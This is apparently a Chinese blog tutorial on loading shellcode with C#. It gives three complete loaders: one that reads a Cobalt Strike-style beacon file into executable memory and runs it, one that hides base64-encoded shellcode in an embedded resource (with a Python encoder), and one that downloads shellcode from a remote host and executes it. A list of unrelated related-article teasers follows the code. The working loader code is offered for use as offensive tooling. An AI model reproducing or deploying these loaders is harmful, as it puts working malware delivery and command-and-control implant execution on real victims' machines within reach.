c#加载shellcode
本地加载bin文件
SharpPELoader项目如下:
using System;
using System.IO;
using System.Runtime.InteropServices;namespace TestShellCode
{internal class Program{private const uint MEM_COMMIT = 0x1000;private const uint PAGE_EXECUTE_READWRITE = 0x40;private const uint INFINITE = 0xFFFFFFFF;static void Main(string[] args){string shellcodeFilePath = "beacon_x6493.bin";if (!File.Exists(shellcodeFilePath)){Console.WriteLine("Shellcode file not found.");return;}byte[] shellcode = File.ReadAllBytes(shellcodeFilePath);IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (funcAddr == IntPtr.Zero){Console.WriteLine($"VirtualAlloc failed with error code {Marshal.GetLastWin32Error()}.");return;}Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, out uint threadId);if (hThread == IntPtr.Zero){Console.WriteLine($"CreateThread failed with error code {Marshal.GetLastWin32Error()}.");VirtualFree(funcAddr, 0, MEM_COMMIT);return;}WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);VirtualFree(funcAddr, 0, MEM_COMMIT);}[DllImport("kernel32.dll", SetLastError = true)]private static extern IntPtr VirtualAlloc(IntPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect);[DllImport("kernel32.dll", SetLastError = true)]private static extern bool VirtualFree(IntPtr lpAddress,uint dwSize,uint dwFreeType);[DllImport("kernel32.dll", SetLastError = true)]private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,uint dwStackSize,IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,out uint lpThreadId);[DllImport("kernel32.dll", SetLastError = true)]private static extern bool CloseHandle(IntPtr hObject);[DllImport("kernel32.dll", SetLastError = true)]private static extern uint WaitForSingleObject(IntPtr hHandle,uint dwMilliseconds);}
}

使用本地分离加载(资源加载base64形式)
首先需要base64编码后的shellcode文件
使用enc.py进行base64编码

enc.py如下
import base64
import sysfile = sys.argv[1]
with open(file, "rb") as f:all_data = f.read()# Encode the content using Base64
encoded_data = base64.b64encode(all_data)with open("a.txt", "wb") as f:f.write(encoded_data)
得到a.txt文件改名为config.txt(这里改名不改名都可以,因为后面资源文件名字改掉就好)
SharpPELoader_base64项目如下
可以看到主文件Program.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Resources;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;namespace SharpPELoader_base64
{public class Loader{public override bool Equals(object obj){Thread t = new Thread(test);t.Start();return true;}public void test(){Assembly myAssem = Assembly.GetEntryAssembly();ResourceManager rm = new ResourceManager("SharpPELoader_base64.Resource1", myAssem);// 资源文件中读取shellcode加载string config = rm.GetString("config");byte[] shellcode = Convert.FromBase64String(config);UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);Marshal.Copy(shellcode, 0, (IntPtr)funcAddr, shellcode.Length);IntPtr hThread = IntPtr.Zero;UInt32 threadId = 0;IntPtr pinfo = IntPtr.Zero;hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);WaitForSingleObject(hThread, 0xFFFFFFFF);}private static UInt32 MEM_COMMIT = 0x1000;private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;[DllImport("kernel32")]private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size,UInt32 flAllocationType,UInt32 flProtect);[DllImport("kernel32")]private static extern bool VirtualFree(IntPtr lpAddress,UInt32 dwSize,UInt32 dwFreeType);[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 lpThreadAttributes,UInt32 dwStackSize,UInt32 lpStartAddress,IntPtr param,UInt32 dwCreationFlags,ref UInt32 lpThreadId);[DllImport("kernel32")]private static extern bool CloseHandle(IntPtr handle);[DllImport("kernel32")]private static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);[DllImport("kernel32")]private static extern IntPtr GetModuleHandle(string moduleName);[DllImport("kernel32")]private static extern UInt32 GetProcAddress(IntPtr hModule,string procName);[DllImport("kernel32")]private static extern UInt32 LoadLibrary(string lpFileName);[DllImport("kernel32")]private static extern UInt32 GetLastError();}class Program{static void Main(string[] args){// 创建 Loader 类的实例Loader loader = new Loader();// 启动线程执行 test 方法loader.Equals(null);}}
}
两个方法,命名空间注意和项目一致,一个loader类,一个Main类,Main调用loader类中的test方法
这里项目需要通过添加资源文件,因为是从资源文件中读取的shellcode
添加资源文件方法如下:
新建项

新建完之后先修改名称为之前代码中的config,也就是和下面这块

然后添加资源

添加现有文件config.txt
添加进来即可,这里命名空间都是对的都是项目的命名空间
这里和
是匹配的才可以,所以结合之前的config(资源名字)匹配就可以资源加载了
远端加载
这里在本地加载bin文件基础上修改
使用GetByteArrayAsync;

全部代码
using System;
using System.IO;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Threading.Tasks;namespace RemoteShellcodeLoader
{internal class Program{private const uint MEM_COMMIT = 0x1000;private const uint PAGE_EXECUTE_READWRITE = 0x40;private const uint INFINITE = 0xFFFFFFFF;static async Task Main(string[] args){string url = "http://x.x.x.x:89/beacon_x6493.bin";byte[] shellcode = await DownloadShellcodeAsync(url);if (shellcode == null){Console.WriteLine("Failed to download shellcode.");return;}IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (funcAddr == IntPtr.Zero){Console.WriteLine($"VirtualAlloc failed with error code {Marshal.GetLastWin32Error()}.");return;}Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, out uint threadId);if (hThread == IntPtr.Zero){Console.WriteLine($"CreateThread failed with error code {Marshal.GetLastWin32Error()}.");VirtualFree(funcAddr, 0, MEM_COMMIT);return;}WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);VirtualFree(funcAddr, 0, MEM_COMMIT);}private static async Task<byte[]> DownloadShellcodeAsync(string url){using (HttpClient client = new HttpClient()){try{return await client.GetByteArrayAsync(url);}catch (Exception ex){Console.WriteLine($"Error downloading shellcode: {ex.Message}");return null;}}}[DllImport("kernel32.dll", SetLastError = true)]private static extern IntPtr VirtualAlloc(IntPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect);[DllImport("kernel32.dll", SetLastError = true)]private static extern bool VirtualFree(IntPtr lpAddress,uint dwSize,uint dwFreeType);[DllImport("kernel32.dll", SetLastError = true)]private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,uint dwStackSize,IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,out uint lpThreadId);[DllImport("kernel32.dll", SetLastError = true)]private static extern bool CloseHandle(IntPtr hObject);[DllImport("kernel32.dll", SetLastError = true)]private static extern uint WaitForSingleObject(IntPtr hHandle,uint dwMilliseconds);}
}
相关文章:
c#加载shellcode
本地加载bin文件 SharpPELoader项目如下: using System; using System.IO; using System.Runtime.InteropServices;namespace TestShellCode {internal class Program{private const uint MEM_COMMIT 0x1000;private const uint PAGE_EXECUTE_READWRITE 0x40;pr…...
HarmonyOS 开发环境搭建
HarmonyOS(鸿蒙操作系统)作为一种面向全场景多设备的智能操作系统,正逐渐在市场上崭露头角。为了进入HarmonyOS生态,开发者需要搭建一个高效的开发环境。本文将详细介绍如何搭建HarmonyOS开发环境,特别是如何安装和配置…...
【网络云计算】2024第46周周考-磁盘管理的基础知识-RAID篇
文章目录 1、画出各个RAID的结构图,6句话说明优点和缺点,以及磁盘可用率和坏盘数量,磁盘总的数量2、写出TCP五层模型以及对应的常用协议 【网络云计算】2024第46周周考-磁盘管理的基础知识-RAID篇 1、画出各个RAID的结构图,6句话说…...
深入理解 SQL_MODE 之 ANSI_QUOTES
引言 在 MySQL 数据库中,sql_mode 是一个重要的配置参数,它定义了 MySQL 应该遵循的 SQL 语法标准以及数据验证规则。其中,ANSI_QUOTES 是 sql_mode 中的一个重要选项,它改变了 MySQL 对于字符串和标识符的识别方式,使…...
容器技术在持续集成与持续交付中的应用
💓 博客主页:瑕疵的CSDN主页 📝 Gitee主页:瑕疵的gitee主页 ⏩ 文章专栏:《热点资讯》 容器技术在持续集成与持续交付中的应用 容器技术在持续集成与持续交付中的应用 容器技术在持续集成与持续交付中的应用 引言 容器…...
【嵌入式软件-STM32】OLED显示屏+调试方法
目录 一、调试方式 1)串口调试 优势 弊端 2)显示屏调试 优势 弊端 3)Keil调试模式 4)点灯调试法 5)注释调试法 6)对照法 二、OLED简介 OLED组件 OLED显示屏 0.96寸OLED模块 OLED外观和种类…...
kubernetes简单入门实战
本章将介绍如何在kubernetes集群中部署一个nginx服务,并且能够对其访问 Namespace Namespace是k8s系统中一个非常重要的资源,它的主要作用是用来实现多套环境的资源隔离或者多租户的资源隔离。 默认情况下,k8s集群中的所有的Pod都是可以相…...
Python连接Mysql、Postgre、ClickHouse、Redis常用库及封装方法
博主在这里分享一些常见的python连接数据库或中间件的库和封装方案,希望对大家有用。 Mysql封装 #!/usr/bin/python # -*- coding: utf-8 -*- import sys import pymysql from settings import MYSQL_DB, MYSQL_PORT, MYSQL_USER, MYSQL_PASSWORD, MYSQL_HOST, EN…...
如何修改npm包
前言 开发中遇到一个问题,配置 Element Plus 自定义主题时,添加了 ElementPlusResolver({ importStyle: "sass" }) 后,控制台出现报错,这是因为 Dart Sass 2.0 不再支持使用 !global 来声明新变量,虽然当前…...
Django 2024全栈开发指南(三):数据库模型与ORM操作(上篇)
目录 一、模型的定义二、数据迁移三、数据表关系四、数据表操作4.1 Shell工具4.2 数据新增4.3 数据修改4.4 数据删除4.5 数据查询 Django 对各种数据库提供了很好的支持,包括 PostgreSQL、MySQL、SQLite 和 Oracle,而且为这些数据库提供了统一的 API 方法…...
低代码可视化-uniapp开关选择组件-低码生成器
开关(Switch)选择组件是一种用户界面元素,允许用户在两种状态(通常是开/关、是/否、启用/禁用等)之间进行切换。这种组件在移动应用、桌面软件、网页以及物联网设备中广泛应用。以下是对开关Switch选择组件的详细介绍&…...
【arxiv‘24】Vision-Language Navigation with Continual Learning
论文信息 题目:Vision-Language Navigation with Continual Learning 视觉-语言导航与持续学习 作者:Zhiyuan Li, Yanfeng Lv, Ziqin Tu, Di Shang, Hong Qiao 论文创新点 VLNCL范式:这是一个新颖的框架,它使得智能体能够在适…...
如何在 Ubuntu 上安装 Jupyter Notebook
本篇文章将教你在 Ubuntu 服务器上安装 Jupyter Notebook,并使用 Nginx 和 SSL 证书进行安全配置。 我将带你一步步在云服务器上搭建 Jupyter Notebook 服务器。Jupyter Notebook 在数据科学和机器学习领域被广泛用于交互式编码、可视化和实验。在远程服务器上运行…...
免费申请 Let‘s Encrypt SSL 证书
免费申请 Lets Encrypt SSL 证书 在网络安全日益重要的今天,为网站启用 SSL 证书是保障数据安全和用户信任的关键。Lets Encrypt 提供的免费 SSL 证书是一个很好的选择。下面我们详细介绍如何为网站域名申请该证书。 一、准备工作 域名 确保已注册要使用 SSL 证书的…...
【JAVA】Java基础—面向对象编程:继承—重写父类方法
在Java开发中,重写(Override)是面向对象编程(OOP)中的一个重要概念。它允许子类提供父类方法的具体实现,从而改变或扩展父类的行为。重写是实现多态性的重要手段,使得程序在运行时能够根据对象的…...
【C++初阶】C++入门
1、C第一个程序 C是脱胎于C语言的,所以也包含了C语言绝大多数的内容,C兼容C语言绝大多数的语法,在C语言中能实现的程序在C中也是可以执行的,但需要将定义文件代码的后缀改为.cpp 就比如hello world程序 // test.cpp #include<stdio.h&g…...
自然推理系统:的拒取式的解析
要推导出 **"非A"** 的拒取式 (rejection form),首先我们要理解逻辑推理中几个基本的概念。 假设我们有以下前提: 1. **A → B** (如果A成立,那么B成立) 2. **非B** (B不成立) 我们…...
OceanBase 分区表详解
1、分区表的定义 在OceanBase数据库中,普通的表数据可以根据预设的规则被分割并存储到不同的数据区块中,同一区块的数据是在一个物理存储上。这样被分区块的表被称为分区表,而其中的每一个独立的数据区块则被称为一个分区。 如下图所示&…...
Java中 LinkedList<>,ArrayDeque<>的区别 || Queue和Deque的区别
我是你爹 LinkedList<> 和 ArrayDeque<> 的区别Queue接口 和 Deque接口区别Queue 的用法Deque 的用法 LinkedList<> 和 ArrayDeque<> 的区别 1. 数据结构实现方式: LinkedList: 基于链表结构,是一个双向链表。每个…...
freemarker 读取template.xml ,通过response 输出文件,解决中文乱码问题
采用 try (Writer writer new OutputStreamWriter(os, “UTF-8”)) UTF-8 内容转换 public static void setResponseHeader(HttpServletResponse response, String fileName) {try {// fileName "中文.xls";try {fileName new String(fileName.getBytes(),"…...
基于SUMO与PPO的智能换道决策实战:从环境构建到模型部署
1. 环境准备与基础配置 在开始构建智能换道决策系统之前,我们需要先搭建好开发环境。这里我推荐使用Anaconda来管理Python环境,它能很好地解决不同项目之间的依赖冲突问题。我习惯为每个项目创建独立的环境,比如这次我们可以命名为"sumo…...
【NotebookLM因子分析实战指南】:3步解锁AI驱动的维度降维与业务洞察力
更多请点击: https://intelliparadigm.com 第一章:NotebookLM因子分析辅助的底层逻辑与价值定位 NotebookLM 是 Google 推出的面向研究者的 AI 助手,其核心能力并非泛化式问答,而是基于用户上传文档进行“可信引用驱动”的深度推…...
CBAM注意力机制:为什么它比SENet更胜一筹?深入对比通道与空间注意力设计
CBAM注意力机制:通道与空间双重视角下的性能突破 在计算机视觉领域,注意力机制已经成为提升卷积神经网络性能的关键技术之一。当我们面对ImageNet分类、目标检测等复杂任务时,网络需要学会"看重点"——自动识别图像中最相关的区域和…...
32位寄存器全解析:逆向分析与系统底层开发的基石
1. 从零开始:为什么32位寄存器是逆向分析的基石如果你刚开始接触逆向工程或者系统底层开发,面对一堆以E开头的寄存器缩写,是不是感觉有点头大?EAX、EBP、ESP……这些看起来神秘的代号,其实是理解程序如何“思考”和“行…...
保姆级教程:用Mermaid手绘CPU流水线时空图,理解数据冒险与阻塞
可视化解析CPU流水线:用代码绘制时空图理解数据冒险 在计算机体系结构的学习中,CPU流水线技术是提升处理器性能的核心机制之一。但对于初学者而言,理解流水线中的数据冒险(Data Hazard)及其导致的阻塞现象往往充满挑战…...
如何在Windows电脑上直接运行安卓应用:APK安装器终极解决方案
如何在Windows电脑上直接运行安卓应用:APK安装器终极解决方案 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 你是否曾经希望在Windows电脑上直接运行安卓应…...
QGIS背景图层全攻略:从在线电子地图到本地DEM,打造专业级GIS底图(以南京为例)
QGIS背景图层全攻略:从在线电子地图到本地DEM,打造专业级GIS底图(以南京为例) 当你的GIS项目已经具备基础矢量数据(比如行政区划边界)时,如何选择合适的背景图层往往成为提升地图专业度的关键。…...
2025最新版PHP加密系统MENC加密系统 V2.4.0 含搭建教程
内容目录一、详细介绍二、效果展示1.部分代码2.效果图展示三、学习资料下载一、详细介绍 很牛逼的一款加密系统,PHP代码加密系统是一个值得信赖的工具,它可以帮助开发者保护自己的代码不受恶意攻击和盗用。无论是个人开发者还是企业用户,都可…...
保姆级教程:在Qt 6.5桌面应用中集成WebRTC实现一对一视频通话(附完整源码)
Qt 6.5与WebRTC深度整合实战:构建企业级视频通话解决方案 1. 环境配置与依赖管理 在开始Qt 6.5与WebRTC的集成之旅前,我们需要搭建一个稳定的开发环境。不同于普通的Qt项目,这种集成对工具链和系统配置有特殊要求。 推荐开发环境配置&…...
GJB 128B-2021标准变更深度解析:VDMOS产品试验方法的影响与应对
1. GJB 128B-2021标准变更的核心要点 对于从事VDMOS产品研发和质量控制的工程师来说,2022年3月正式实施的GJB 128B-2021标准带来了不少值得关注的调整。相比旧版标准,这次修订在试验条件、热平衡判定、静电防护等多个关键环节都做出了具体规定。我仔细研…...
